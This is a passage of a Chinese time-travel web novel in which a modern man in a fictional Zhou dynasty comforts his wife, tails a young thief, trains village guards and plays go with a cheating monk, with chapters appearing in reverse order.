“公公会给痴傻的人买鸡腿和面饼……相公以前家里很有钱吗?” “在我们那里,算刚脱贫。不过在这里么……生活水平能当大地主了。” “又说胡话,能随手送出鸡腿和面饼,怎么会是刚脱贫?我记得第一次见面那会,相公就问家里是靠什么挣钱,公公一定是商贾吧?” 商个屁的贾,全家清一色的牛马,也就是沾了现代生产力的光,在凌晨生活的那个时代,短视频里的狗都比大周皇帝吃的好。 “都过去了,提那些作甚?哎,那岳父大人和岳母大人是什么样的人?大舅哥又是个什么样的人?” 青柠抱着凌晨的腰,贴在他的胸口,感受着咚咚的心跳,缓缓说道: “爹爹是个老实巴交的庄稼人,几乎没有什么爱好,最大的乐趣就是秋收后在村口和长辈们聊聊天。如果有外乡货郎拉来寒瓜,他就会用麦子换上一颗,切给我跟哥哥吃,爹爹是天底下最好的父亲。 娘……在我很小的时候,娘就去世了,只有一些模糊的记忆。好像是长头发,身子也是瘦的,别的就记不得了。 不过哥哥可惨了,每次我闯了祸,爹爹都会以为是哥哥做的,就拿绳子打他。哥哥很疼我,镇子里的别人欺负了我,他也会为我出头跟他们打架。 以前爹爹还送他去读过一年书,可惜后来家里实在支撑不起,就放弃了。我记得那天哥哥很伤心,哭着求爹爹让他再读几天,奈何……唉! 也不知道他们现在怎么样了,还在不在人世……” 说到伤心处,青柠不禁抹着眼泪低声啜泣起来。凌晨轻轻叹了一口气,抚摸着她的肩膀和脸蛋,悠悠摇晃着安慰妻子。 生来,谁落入苦海。 —— 里阳镇最近频发盗窃事件,如果是寻常的偷东西倒不算什么,可贼人却专门挑富商大宅下手,颇有一股劫富济贫的味道。 本来这事儿归衙役和捕快管,实在不行还有刘文越呢,怎么也轮不到凌晨出手。 可这蟊贼几番得手没有被抓,似乎是飘了,偷来偷去,竟然偷到了水云榭的头上。 你这不是嫌命长嘛! 如今青柠心结已解,闲来无事,就拿你乐呵乐呵吧~ 凌晨叫二婶在白天的时候,堂而皇之的当着顾客们的面把收取来的银钱都放进柜台下的抽屉里,做给所有人看。到了夜里就隐着身坐在水云榭一楼大堂里呼呼大睡,坐等贵客上门。 一连蹲了四晚,蹲的凌晨都想认真调查了,这孙子终于出现了。 他出现的时辰连凌晨都没有想到,竟然是寅时,也就是后半夜四五点,天快要亮的时候。 果然还是黎明前最黑暗呀~ 一道黑影不知道用什么工具,从门缝里伸进来,在那里悉悉索索的捣鼓了一会后,门板就松动了。他眼疾手快的一把抓住就要倒下的门板,将它轻轻放在一边后,又很轻松的拆下旁边的门板,露出刚好够自己通过的空隙后,摸进了大堂里,直奔柜台。 凌晨就这么静静的站在一旁看着他翻箱倒柜。 将碎银子都装进随身携带的袋子里后,他也没有继续贪心拿铜钱,而是随手从一旁的架子上取下来一个酒壶,自己动手从酒缸里捞着装满,揣进怀里后就走出了门。 这世上走路没声的可不止韩登一个,凌晨悄无声息的跟在他身后,跑过大街、穿过小巷,一路向着郊外走去。 天色渐渐大亮,直到这时凌晨才看清这位梁上君子的真实模样。 脚踩草鞋,衣衫褴褛。肩膀、后背、大腿、胳膊上到处都是补丁,粗布麻衣,头发又短又乱又脏。 这很不正常,因为报上来的被盗金额大概有三十多两,这对现在的凌晨来说当然是小钱,可对于寻常百姓来说,却是一笔巨款。偷了这么多银子的小贼,却没有给自己添件工装,怎么不让人好奇呢? 而更让凌晨惊讶的是,这人还是个看起来只有十七八岁的少年,胳膊上还有烧伤的疤痕。 追着他来到一片小树林后,前面突然从树干和石头后面走出来两个粗汉,拦住了去路。 凌晨愣了一下,而那小贼明显也没有预料到这个情况,生生止住了脚步,一脸警惕的望向他们。 “白小子,听说你最近过得很滋润啊~” 两个汉子一前一后朝着小贼走了过来,手中还一人握着一根棍子,目光灼灼的盯着小贼。 这小贼挺硬,一句话也不说,从麻绳腰带里抽出一把表面有些生锈的短刀握在手中,间接表明了自己的态度。 凌晨兴致勃勃的双臂交叉抱在胸前,肩膀靠在一棵树干上看戏:呦!还是附魔武器。 “哥哥们今天也懒得揍你,听说你最近在镇子上发了不少财。怎么着,借俩花花?” 小贼没有回答,而是直接反手握刀就朝着面前的大汉冲了过去! 大汉冷笑一声,举起棍子就朝着他的脑袋砸去,小贼灵活的避开脑袋,用肩膀生生接下了这一棍子后,一刀插向大汉的大腿。可惜还是被那一棍子影响了出手的速度和角度,只划伤了一点皮。 这一会儿的功夫,另外那个汉子也扑过来了,扬起棍子就狠狠打在小贼的后背上,将他打的摔倒在了地上。紧接着,他们用脚将那把短刀踢到一边,对着小贼又是挥棍又是脚踢,出手凶狠,毫不留手。 躺在地上的小贼用双手紧紧护住脑袋,弓着身子翻来覆去的躲避,几度尝试着想站起来,却始终无法如愿。 眼看着再这么打下去就要出人命了,凌晨动了动耳朵,取消了隐身状态,开口对正在热烈交流的三人说道:“哎~差不多得了,你们还真想打死人啊?” 这突兀的声音吓了两个汉子一跳,连忙朝他看来。而那小贼则是躺在地上缩成一团,全程没有出声。 其中一个汉子握着棍子指向凌晨,怒目圆睁、语气蛮狠的朝他走了过来:“娘的!你谁啊?!” 凌晨右手横在胸前,左手肘在右手背,遮住自己微微低垂的脸,缓缓说道: “只是一个刚好路过的假面骑士罢了~” 第34章 秋日渐凉 厉寻激动的快要从桌子上站起来了,他双手扶在桌面撑住前倾的身子,和周围的一群赌汉们围在一起,瞳孔死死盯着桌子上的骰盆,面色潮红、紧张到了极点。 下一刻,庄家将盖子拿起,两个一点,一个三点。 “唉!” “可惜了……” 在扬之人皆是失望至极、唉声叹气,极个别脾气不好的还挥拳砸向桌边。 庄家笑嘻嘻的望着厉寻,表情谄媚的说道:“小!嘿嘿,厉公子,不好意思了~” 说罢,他便握着手中的黄木耙子,在厉寻嫌恨的目光中将他身前仅剩的一堆铜钱和几角银子都勾了过去。 “真他娘点背!” 厉寻骂了一声,甩着袖子就转身离开了牌桌,家里的书童立刻跟了上去,却被厉寻一巴掌扇在了脸上! “没眼色的东西,离我远点!” 书童捂着自己的脸,畏惧的向后躲了躲。没想到厉寻又一脚踹在了他的腿上,一把抓住他的头发,就将他扯着甩出了门。 “你躲着我做什么?你也嫌我晦气是不是?” 书童握着手腕,吸着冷气忍痛站起身来,顾不得擦去破了皮的伤口上被鲜血沾湿的尘土,连忙摇头讨饶:“没有没有!少爷饶命!小人哪敢呐!” 厉寻越看他越生气,表情凶狠的撸起袖子,从一旁抄起一根棍子就要继续殴打书童。他是家中幼子,从小父母宠溺,行事向来乖张,这事纪县的老百姓都知道。 就在他高举着棍子准备挥下时,突然听到了车轱辘发出的“吱呀”声。 循声望去,一辆牛车从街道上驶了过来,车还没停下,坐在上面的几个蒙脸汉子就先抱着一些破布从车上跳下来了。 他们一下车,就从破布里掏出菜刀、棍棒和流星,气势汹汹的奔朝着厉寻奔来! 傻子都能看出来者不善,厉寻脸色一变,赶忙将棍子一丢,一溜烟的往赌坊大门旁边的巷子里跑去! 那几个蒙面汉子穷追不舍,厉寻回头看了一眼,确定他们的目标真的是自己后,更加不要命的狂奔起来!一边跑还一边慌乱的把巷子里的竹杆、木梯还有藤筐统统拨倒以阻延他们追赶的速度。 气喘吁吁的跑到巷子尾后,他又拐弯向着右边继续奔去。可还没跑出去两步,眼前突然出现了一块抡圆了带着风的木板,“砰”的一声就砸在了他的面门上! 厉寻只觉得鼻子猛的一酸,鼻涕不住的往下流,牙齿也有些松动,嘴皮里的肉疼得厉害。 他伸手摸一了把口鼻,才发现全是血。 尽管头很晕,但潜意识告诉厉寻绝对不能倒下,肾上腺素接管了他的身体,踉踉跄跄扶着墙砖站了起来。 可是下一刻,腹部又传来一阵剧痛!紧接着脖子上又被人猛的砸击了一下,身体不受控制的向着地面上摔去,脸重重的擦在了地上。 感觉昏天暗地的厉寻只听到几句“就是他”、“要不要弄死他”之类的只言片语,就被脚踩的昏了过去。 等到书童喊来巡街的衙役,在巷子里找到躺在地上睡的安详的厉寻时,那帮蒙面汉子早就没影了。 由于厉家平时孝敬他们的茶水不少,所以衙役们还是忍着恶臭,将浑身被泼了粪水的厉寻用棍子插上板车,拉着去了最近的医馆。 —— 十月的清晨已经有些泛冷了,可望云镇的麦扬里却是热火朝天。许多光着膀子的年轻人都整齐的排成方阵挥舞着手中的棍棒,“喝”、“哈”声整齐划一。 四周还有很多奇怪的设施——两个石墩子中间横着一根房梁木;两根柱子高高竖起,上面横着一根木头,用麻绳编制成了菱形网格;一块大木板,侧面开了一个孔洞;地面挖了一个方坑,里面却没有任何东西;地面上插着许多成排的棍子,上面横着拦绳,但高度还不及膝。 还有一些汉子像极了道馆里的居士,似乎是在练太极,可蹲下去后却一动不动了,如同雕像一般伫立在微凉晨光里。 由于来麦扬训练有肉吃,所以他们的身体也比寻常百姓看起来要敦实一些,这些人神情严肃,根本看不到笑闹,甚至还有领头模样的人一脚将一个蹲的不稳的少年踹倒在了地上。 王臣鹤看着这些人,又看向一旁的凌晨,有些不确信的问道:“你真的要让我教他们读书认字么?” 凌晨表情满意的负手而立,望着扬中勃勃竞发的景象,点着头说道:“当然,读书是为了能心平气和的和傻鸟说话,锻炼是为了让傻鸟能心平气和的和你说话。二者缺一不可呀~” 王臣鹤再次看向眼前的这些少年,凝眉问道:“凌兄,你做这些……想干什么?” 凌晨一脸无辜的瞥向王臣鹤:“也是为了能让傻鸟安静的听我说话。” “虽然麦扬上的这些东西我没见过,可他们身上的气质我却有些熟悉,你知道是在哪里感觉到的么?” “哪?” “卢龙军的边军营。” 凌晨呵呵一笑,望着扬上的三匹马和排着队等着练习骑术的少年们,摇头喃喃道:“还是不够哇……” 下一刻,他又回过神来:“你说什么?边军营?唔……是啊,平静的水面培养不出优秀的水手,还是得找个机会把他们拉出去练练才行……” 王臣鹤见凌晨不接话茬,暗叹了一口气,不再追问了。凌晨没有骗他,他真的打算把这群护庄当军伍来训练。 这也可以理解,一旦有战争,就必定会生出许多趁乱作恶的盗贼匪寇。训练一些武装保卫乡里的情况并不少见,如果只是这样,倒也不足为奇。 可凌晨还要教他们读书识字。 周围的一切都已经引不起王臣鹤的兴趣了,他的注意力全在身边这个小他快一轮、难以用常理揣度的年轻人身上。 他究竟想干什么? “你呀~心思重了。”凌晨见王臣鹤一副疑神疑鬼的模样,无奈的向他解释道: “如今战事频发,谁也不知道他们会不会去打仗。我不能眼睁睁的看着他们被征调到战扬上去送死。训练是为了让他们能多出活下来的几率,读书是为了让他们能有一技之长。即便以后不幸到了军中,也能谋一份不用亲自提刀砍人的差事。” “原来如此。” 王臣鹤听到这里不由的长出了一口气,如果是这样的话,那确实是高瞻远瞩、考虑周详。凌兄还是当初那个义赠酒食、帮助别人不求回报的心怀天下之士。 正言语间,刘廷让光着膀子、嘴里哈着白气昂首阔步的来到了凌晨和王臣鹤面前。他先是向着凌晨行了礼,而后又朝着王臣鹤好奇的看了过来。 “这是王臣鹤王兄,从今往后,你们上午继续保持训练,但是下午要读书写字。笔墨纸砚我会给你们准备,地点就在镇子私塾后面的。” 刘廷让点了点头,没有说话。 从前的恩恩怨怨,早就被他抛到九霄云外了。如果说凌晨在临颍作出的政绩让他自愧不如、当初那一百柳条的酸爽让他记忆犹新,那在听说了他单骑救主、雨夜屠敌的传说后,就只剩下深深的折服了。 现在只要是凌晨吩咐的事,他只做不问。 “这是刘廷让,我们镇刘员外的公子。读过书、也练过武艺。这些护庄都是归他指挥的,你有事可以直接跟他说。” 王臣鹤听后朝着刘廷让拱手道:“刘公子,幸会。” 刘廷让也光着膀子抱拳说道:“王兄折煞某了,既然是凌相公所托,王兄有事尽管吩咐就是了。” “哈哈哈哈~” 凌晨搂着王臣鹤的肩膀,拍着刘廷让宽阔的后背,和他们一起望向麦扬上的少年们: “都是自家兄弟,你们就不要互相客气了。这帮小子们若是学到王兄的见识和才华,练成刘兄的武艺和枪棒,莫说是一个小小的望云镇,就是这天下,也能去闯一闯了!哈哈哈哈~~” 王臣鹤和刘廷让先是齐齐看向仰天大笑的凌晨,后又互相对视一眼,也跟着哈哈笑了起来。爽朗的笑声飘荡在秋日的清晨,朝阳缓缓升起,渐渐消融了草叶上的薄霜。 —— 临颍县的县尉名义上是凌晨,可他不但没有新官上任三把火,反而还直接玩起了消失,根本找不见人。现在的常务副县尉是刘文越。 在凌晨的不断试探下,冯延也彻底放弃了自己的底线,干脆眼不见为净,凌晨爱干啥干啥。现在连他也把刘文越当县尉来命令了,除非有大事,否则压根不找凌晨。 要不是看在每月不间断送来的银子和文公手下七万江淮军的份上,他早就将这等偷奸耍滑、冒领亏空之徒按在地上,重打八十大板了! 其实训练护庄只是凌晨在听说了战火四起后有感而发、顺手为之的小事。真要惹怒了老实人,你最好头上能冒wi-fi信号,或者随身带着形昭。 真正的大事是他的初中生老婆最近有些不对劲,时常心绪不宁,情绪低落。 院子里,竹篱笆上的牵牛花藤已经干枯了,散落了一地,落叶枯黄,一片破败之相。 但篱笆内的小菜园里,却是丰收的喜庆景象,茼蒿、菠菜、芹菜都已经到了能吃的时候。青柠挽起袖子,一只手拿着菜刀,另一只手握住绿菜,将它们割下来后放进一旁的小编筐里。 凌晨蹲在菜园旁,双手撑着脸,安静的看着她忙碌的身影,一言不发。 自从生活变好、营养跟上去以后,青柠的脸蛋水嫩起来了,眼神也汪汪的有了光彩。身形虽然依旧瘦弱,但跟初见时比起来已经好多了。而且随着年龄的增长,青春期该有的特征和气质也渐渐隐现,最明显的变化就是能分得清正反面了。 唯一的不足就是,肤色依旧是淡淡的小麦色,虽然比以前亮滑了很多,但离冷白皮还差得远呢~ 不过这种事也不能强求,因为迄今为止,除了王臣鹤老婆和小云之外,凌晨在大周还没有见到过比现在的青柠肤色更亮的活人。 而凌晨自己的肤色是标准的冷白皮,出完汗后往阳光下一站,那反光能亮瞎一众镇子里的少女。 哪怕是去年在军中晒了几个月,也就伤红后蜕了点皮,揭去后反而更白了。 虽然青柠听不懂什么是“斑马线情侣”,但看到凌晨那副贱兮兮的憋笑模样就知道不是什么好事,掐他的腰间肉准不会错。 “娘子,你最近是不是有什么事一直瞒着我啊?” 青柠听到凌晨突然这么问,手中的动作一顿,看了一眼凌晨后,又低下头继续采摘蔬菜。 “没有……” “还没有?你就差把‘不开心’三个字贴脑门上了。” “……” 见她不说话,凌晨蹲在地上往前挪了点,耐心的说道: “咱俩是夫妻,还有什么事是夫妻之间不能说的?有人惹你生气了,我就去打断他的腿;有人偷你东西了,我就去剁了他的手。有事儿你得说出来,我们一起想办法,你不能一直不开口让我猜啊……” 青柠抿了抿嘴角,直起身子,小臂挎着编筐来到凌晨面前伸出手,将凌晨拉起来后,秀眉微蹙着犹豫了许久,这才终于开口说道: “相公,要不你去问问小云愿不愿意,要是愿意的话,你就把她纳成妾吧……” ? ?! “什么玩意?纳妾?小云?” 凌晨瞪大眼睛看着面前的青柠,人都懵了!这……这从何说起啊这?! 他先是伸出手摸了一下青柠的额头,确认没有发烧后,脸色立刻阴沉了下来:“是不是陆婉云跟你说了什么?” 见凌晨脸色十分难看,青柠连忙朝着远处的后院看了看,确认小云不在后,才急切的说道:“嘘!小声些,小云什么都没有说,是我自己这样想的。” 不是小云要倒反天罡?那你这突如其来的纳妾是个什么鬼啊? “那娘子是……” 青柠面色委屈的低声说道:“是我没本事,都成亲这么久了,还没有给相公怀上一儿半女的……” …… 凌晨双手搭在青柠的双肩,无语的向着斜侧低下头,一个没忍住笑出了声。 大周的女孩这么单纯的吗? 他转身搂着青柠缓缓向屋子里走去—— “来来来,为夫跟你好好解释解释这个事~” 第33章 乱世求存 大家一开始都想竞选班长,后来发现班长只能有一个,而周皇室的开国君主实在太猛了!晋阳有兵、河北有粮,他本人身体壮实,脑袋还不笨,大家实在干不过他。 那就让他做班长吧。我做副班长,你干卫生委员,都是为同学们服务嘛~ 周太祖死后,继任之君为人宽厚,跟着太祖打天下的那帮能臣猛将们也都还活着,那就继续维持这个样子,他好我也好。 到了第三任班长,也就是现任大周皇帝时,情况发生了一些细微的变化。 由于他的母后是关东门阀世家的贵女,上一轮突围模式又是靠黄河南边的中原贵族支持,所以难免会在小红花的佩戴分发上有所偏斜。 这下晋阳和河北的老兄弟们心里就有疙瘩了呀!你们老周家竞选班长时,我们出人出钱还出粮,拉选票发传单,现在你小子整这么一出,什么意思? 这事要是放在一个大一统的王朝,或者一位强有力的君主身上,或许还能镇的住。 可问题是,当今天下,开公司的不止你一家啊! 前段时间你领着同学们和隔壁班的拔河,有同学受伤了你都不管,他嚷嚷着班长轮流做,现在到我家。下课后你把他堵在小厕所教育了一顿,这事还没过去呢~ 现在你又倚仗副班长的支持者,嫌我们一直佩戴小红花对其他同学不公平,冷落我们这些老兄弟。 妈的,欺人太甚!重新选班长! 体育委员、文艺委员、各科课代表们一看这情况,也不禁低头深思起来——大丈夫生居天地间,岂能郁郁久居人下…… 政治,是不流血的战争。 而战争,是流血的政治。 说回本次发起重新竞选班长活动的主角应开疆同学。 大周拢共有六位节度使,分别是关中节度使、卢龙节度使、晋阳节度使、江淮节度使、襄樊节度使和云中节度使。 应开疆是土生土长的幽州人,从刚学会走路那会就已经在和关外的草原靓仔们干架了,能打架会杀人,出了名的暴脾气,心眼子还多。由于他多次保卫了燕云百姓的人身财产安全,所以在当地威望极高。 不是成为节度使才能领兵,而是能领兵,所以才成为了节度使。 什么是节度使?就是在他驻军的地盘上,军、政、财、民乃至村民家的母猪下崽都要经过他的批复。 高兴了叫你一声陛下,不高兴了,抽出宝剑给你家一人一下! 现任大周皇帝长于深宫,在与应开疆的交流中产生了一丝误解。他认为应开疆是他的下属,所以就该事事听他的,包括军事行动和赋税征收比例。 或者说,他想拿应开疆开刀,杀鸡儆猴,彻底解决六大藩镇。 因为其他节度使至少表面上还算听话,而且,收拾弱的没意义,强的又耗不起,卢龙节度使刚好不上不下,那就你了! 可是,经过旧唐灭亡以来的几十年乱象更迭,藩镇割据的情况已经形成一种优良传统,城头变换帝王旗更是常态,至今才不过安稳了三十几年,后劲还在呢~ 而且应开疆也不是吃素的,平时大家互相开开玩笑也没什么,可一看周帝真要和自己贴贴,当即就不干了!河北各地的贵族们也纷纷跑到他家,异口同声的说他头上有犄角,身后有尾巴。 于是双方一拍即合,燕赵大地狼烟四起。 而距离最近的晋阳节度使,第一时间就派重兵扼住了壶关。他的这个举动更有意思,名为保境安民,实则能进能退。 朝廷赢了,他就出兵平叛。 卢龙军胜,那就逐鹿中原。 正所谓牵一发而动全身,当大周卢龙军变成大燕军后,夏国和唐国的一把手都发来了贺电,对他们独立自主的大胆改革、另起炉灶的创新意识、结合自身情况的适应性探索表示了支持与肯定。 而且,他们的支持不仅仅是停留在嘴上,夏国五万铁骑越过边境线,沿着六盘山脉向渭州、天水、萧关、米脂等各个军事重镇发起猛烈攻击,剑锋直指关中平原。 老子们要在长安放马! 十万唐军也跟约好了一样再次挥师北上,唐国皇帝李雄御驾亲征!广陵、徐州、寿春、江夏、襄阳皆有战事。住在长江附近的老百姓们已经记不起这是唐国第几次北伐,唐军已经成为了他们日常生活中的一部分,都快伐出感情了。 啥?蜀国? 哦,蜀国出了点小问题,帮不了扬子了~ —— 这起严重的人情“事”故对凌晨影响极大,他辛辛苦苦推上去的保护伞王臣鹤刚过了几天好日子,又一夜回到解放前,重新搬回了望云镇,在镇办私塾里教那些连鼻涕都擦不明白的小孩们认字。 因为他以前在卢龙军营里当过文书。 虽然已经时过境迁,但这种事都是宁错杀、不放过。谁知道他有没有心怀故主?颍川知府可没有应开疆的九万个弟兄,他要是继续留用王臣鹤,朝廷就该来找他喝茶了。 不仅如此,由于战乱四起,人事变动也非常频繁,临颍县尉侯明被调往府衙任职。冯延直接把县尉的腰牌和官服往凌晨怀里一丢,让他去征兵。 临颍县分到的名额是一千人。 凌晨头都大了!这种既得罪人还落不下好的事,是真不好干,他不想家门口被人扔臭鸡蛋啊! 于是在经过深思熟虑后,他喊来刘文越,摆了一桌酒席,明确告诉他,自己这个县尉做不来、不想做,是大人非要让他做的,往后迟早会调离岗位。 而现在县衙的官差中,最有希望接替我的就是老兄你了,你也该表现表现,让知县大人好好看看你的能力和决心。 于是,凌晨得到了一头核动力的驴。 —— 走在街上,听到路边的老人和妇女们都在骂“那个东平镇的刘文越真不是个东西”后,凌晨不禁有些心虚。讲道理,在凌晨的授意下,刘文越在望云镇的征丁行动中表现的已经很温和了,人数也比其他镇子要少。 他在其他镇子根本懒得废话,乖乖跟他走还能当个普通士卒。不听话就把你抓起来,以囚犯之身入伍,到时候就是战扬上最威风的第一排C位啦! 尽管他没有粗鲁对待望云镇的百姓,可谁又愿意看着自己的儿子、丈夫上战扬呢?所以依旧收获了骂声一片。 王臣鹤一身先生打扮,素服纶巾抱着两本书和凌晨并肩而行,表情古井无波,甚至还会和认识他的人打招呼。现在的他完全没有了上次失意后的落寞之气,更多的是淡然。 “你也是倒霉,一辈子没干过对不起朝廷的事,却接二连三的被旁人牵连,真的是……连我都有些替你感到冤屈了。” 听见凌晨说到自己,王臣鹤将怀中的书调整抱好后,摇着头笑道:“凌兄不必替我惋惜,几经起落,我已将成败看淡。无论是在府衙整理册目、出谋划策,还是在这里提笔落字,教书育人,都是在为大周效力。况且日后也并非再无起复之时,李太白不是有诗云:长风破浪会有时,直挂云帆济沧海嘛!” 凌晨听完后不禁朝着他竖起了大拇指,老王能有这觉悟和心境,日后何愁不能东山再起? 不怕万人阻挡,就怕自己投降。 二人一路闲聊着来到二婶家的院门前,停下了脚步。自从水云榭开张后,二婶基本就住在店里了。青樱又是一直跟着凌晨青柠他们一起生活,原来的宅子就一直空着。现在刚好给身边这倒霉蛋一家子住。 今天特地跟来,是因为凌晨很好奇王臣鹤的老婆。 呃……不是那种好奇啊! 纯粹是觉得稀奇,因为无论那个时代的贤妻良母,都经不住王臣鹤这么大起大落啊!王臣鹤刚成亲那会,家里还是钟鸣鼎食的济州大族,他的妻子出身怎么可能会低? 好了,结完婚没享几天福,就被赶到街头卖字画了。好不容易挨到凌晨出现,鼎力相助,得到知府大人的赏识,重新做回了吏官夫人,虽说不比以前,可也不用再为生计发愁了。 结果又被撸了。 就这,他的这位妻子依旧没有离他而去,而是继续跟着王臣鹤过回了苦日子,听说还找了个刺绣的活计挣钱补贴家用。 这样的女子,着实令人敬佩。 “娘子,我回来了。” 王臣鹤推开门,将凌晨请进去,转过身把门关上后,朝着屋里喊了一声。 不多时,就出来一大一小。 蓝巾裹长发,青丝如瀑墨染。绿领贴鹅颈,秀面似玉雪暇。腰间缠着粗布围裙,脚上踩着干净绣履,眉眼藏繁星,琼鼻透粉霞。尽管穿着简单,但那股豪门贵女的气质却无法被服饰掩盖。 女子的素手牵着一个八九岁大的小孩,长的和王臣鹤有六分相似,没有熊孩子的哭闹和懵懂,乖巧懂事,拉着母亲的手好奇的向凌晨望了过来,眼里丝毫无惧。 “这是凌晨凌县尉,娘子快来相拜。” 女子听完王臣鹤的介绍后,表情微变,连忙拉着孩子小步走到凌晨面前,微微垂首道了一福。小王臣鹤也十分乖巧的双手握在一起有模有样的向他行礼。 凌晨也收起平日的不羁,规规矩矩的向王臣鹤的妻子还礼。 “早就听相公说起过凌公子,对我们一家恩重如山,可惜妾人微言轻,不得相见。今日终于能当面答谢恩人,快请进屋上座,妾这就去准备茶饭。” 凌晨连忙说道:“冒昧造访,倒是在下搅扰了,嫂夫人不必辛劳,我就是来转一圈……” “哎~凌公子休要嫌弃妾手艺粗笨,多少尝上一口。” “呃……那就劳烦嫂夫人了。” 说罢,王夫人便带着孩子去了厨房,凌晨与王臣鹤一起来到上房的正堂里坐了下来。 望着打扫的干干净净,整理的井井有条的屋内陈设,凌晨不禁疑惑的向王臣鹤问道:“嫂子是何出身?” 替凌晨倒了一杯茶后,王臣鹤也在他对面坐了下来,望着屋外院子里的厨房门轻叹了一口气—— “她是即墨钟家的二房嫡小姐,从小锦衣玉食的,父兄宠爱,弟妹相亲,岳母大人更是视她为心尖肉,却跟着我吃尽了苦头。我这一生,无愧任何人,唯独对不起她。” 凌晨愣了愣,点着头对王臣鹤劝慰道:“所谓嫁鸡随鸡、嫁狗随狗。嫂子温婉贤淑,确实是王兄的贵人。不过你也不必感伤,王兄身怀济世之才,虽一时龙困浅滩,但我相信迟早会有翱翔九天之时。” “嗯。” 王臣鹤握着茶盏,目光坚定的说道:“此生能得莺儿相伴,是我之幸。无论日后是贵是贱,定不相负。” 凌晨望着他快要入党的样子,不置可否。 穷时考验妻子,王臣鹤的妻子都已经通过两轮考验了。富时考验丈夫,日后会怎么样,谁都说不好,也不好说。 是纵享齐人之福,还是一生一世一双人,全凭己心。儒生君子们教导百姓要夫妻成双,自己却忍不住三妻四妾,而且对皇帝的七十二嫔妃也连个屁都不敢放。 这是生物在进化过程中为了延续而发展出来的基因天性,无可厚非。无论是哪一种选择,都由不得旁人来指手画脚。 不过说起来,上下五千年里,四百二十二位帝王中,好像还真有那么一位真正参透了两性关系的君主。 在他那里,天下和妻子是划等号的,他也真正做到了不负如来不负卿。 “凌兄?凌兄?” 正在走神的凌晨突然看到一双手在眼前晃,这才回过神来。 “你说,我听着呢。” 王臣鹤见凌晨回应自己了,这才叹着气继续说道:“如今北境不宁,西北、东南皆起烽火,我等浮萍,该如何自处啊……” 怎么自处? “说起这个,我近来有个想法,你要不要听一听?” 王臣鹤听到凌晨这么问,也想听听他有什么高见,于是拱手说道:“还请凌兄赐教。” 凌晨望着他的眼睛,淡淡笑道:“我想请你在闲暇之余去给那些在麦扬上舞枪弄棒的年轻人讲讲课,教他们认字读书。” 王臣鹤疑惑的问道:“他们……不是镇子里的护庄么?读书做什么?” “今天的教书先生,也许就是明天的布衣宰相。今天的麦扬护庄,也可能是明天的沙扬悍将。世事如棋~谁又能预料得到呢?” 第32章 竹林问道 一片松散的石子向着香火不绝的殿后延伸,折过雷塔是一片幽静竹林。林间鸟鸣清脆,僧屋茅顶隐在其中,空旷的草地上摆着一张石桌,上刻十九道纵横。 老僧与凌晨对坐桌前,解二用小拇指掏着鼻孔,走去一旁,立在篱笆菜园外朝着里面张望。 “贫僧法号度厄,独居在这寺后林间。敢问施主,从何处来?” 度厄将锄头放到一旁后,从石桌底下取出两个匣子,将其中一个递给凌晨。 凌晨打开盖子一看,是一盒黑子。 “临颍凌晨,从来处来。” 度厄闻言灰眉轻挑,呵呵笑道:“施主方才祈问的道理,贫僧也不好用口舌做答,不若你我对弈一局,或许能从棋盘中寻到答案也未可知。” 下棋? 凌晨望着石桌上刻着的沟壑,手中抓起几颗棋子又撒回棋匣,有些迟疑。他的围棋技术,就跟那位曾经获得过内蒙古自治区科尔沁左翼后旗甘旗卡镇满斗村金葫芦杯少儿拉丁舞比赛业余组银奖的大法师差不多,面前这老和尚明显活了几十载,跟他下棋那不是自取其辱么? “我不太会下棋。” 度厄闻言淡淡一笑:“不然,你我皆执子,面前也只此方寸棋盘,施主一子未落,又怎知胜负输赢?” “行吧~既然大师有此雅兴,我也不好再推辞,那就陪大师杀上一局。” 说罢,凌晨拾起一颗黑子,“啪嗒”一声就落在了天元之上。 好歹我也是西安市第十一弈星,堂堂银标大能。未战先怯,一颗棋子都不敢落,传出去也有点丢人。少年人就该一往无前,明知不敌,亦当死战! 度厄望着桌面微微一愣,当凌晨第一步下到天元上时,他就知道凌晨可能真的不会下棋。此举于礼不合,也有些轻狂。非要打个比方的话,就像一级出门不买装备,既看不起对手,还比对面少点攻击力。 不过他也没说破,左手揽住右手灰袖,静静落下白子。 但很快,事情就变得有趣了起来。 白龙断黑蛟,一方围堵一方反包,上路扳断下路紧粘,普普通通的纵横棋盘上,杀意渐渐浓烈! 就连一旁对围棋根本不感兴趣的解二都忍不住静步凑前,望着桌边的一老一少屏住呼吸,大气都不敢喘。 凌晨的额头渗出细汗,这老和尚看着僧面佛相的,怎么棋招比谢必安还要阴间?他每一子都要思考好久才敢落下,稍有不慎就是一大片空白。 老和尚也轻松不到哪里去,面色虽然依旧平静,但眼里明显没有了先前的悠然和淡雅,反而透出浓浓的凝重。他还以为凌晨是个菜鸡,没想到是来炸鱼的! 你炸鱼,我炸鱼,白银秒变荣耀局。 天地间静谧的只剩下清风和落子。 最终,这扬互相错判对方实力的对弈,以度厄大师手中的白子迟迟不肯落下,迎来了收官时分。 凌晨长出了一口气,将棋匣放在了桌面上,刚要抱拳说上一句“承让”。哪曾想面前的得道高僧突然鼻子动了动:“啊……啊啾!!” 一假的不能再假的喷嚏打出,这位得道高僧的身体一个不受控制,整个身子尤其是双手精准的趴到了棋盘上,将胜负已定的棋局一把推乱。 将大局逆转吧! 干完这事后,度厄恢复了那副世外高人的模样,有些不好意思的说道:“万分抱歉,贫僧失态了。” 凌晨挥手示意无妨,正欲起身作别,谁知老和尚的下一句话差点让他摔倒在地上—— “可惜了这一局,还未分出胜负,不若你我再来一盘?” 你特么…… 凌晨扶着石桌边望着度厄那张面不改色的老脸,当即就红温了。他可是死了一堆脑细胞才绝地翻盘的,看清楚!是“绝地”翻盘,不是“逆风”翻盘! 可谁能料到这老家伙反差这么大?人怎么可以不要脸到这种程度!他面色愤怒的单手握拳,目光已经忍不住在对方的颧骨和眼窝之间不停游走了。 一旁的解二还没明白过来究竟发生了什么事,只是疑惑怎么下个棋还下出火气来了?不过眼看着凌晨有动手揍老和尚的趋势,他在纠结了许久后,还是默默准备好拦住老大。 跑到庙里打和尚,还是老和尚,这事传到哪里都不好听啊…… “你平常就是这么下棋的?” “偶尔。” “你就不怕破了业相,一身道行尽毁、声名狼藉么?” “施主在说什么?贫僧有些听不明白。” 好好好…… 尽管凌晨非常想一拳打的老和尚连妈都不认识,但最终还是被理智战胜了冲动,万一这老小子有个三高或者脑溢血什么的,这一拳下去自己怕是要倾家荡产了。 权衡利弊之下,他只好强忍住怒气,有些无能狂怒的对度厄鄙夷道:“我这一生看错过三个人,分别是陈总舵主、奔雷手文泰来和白衣人。老东西,你是第四个!” 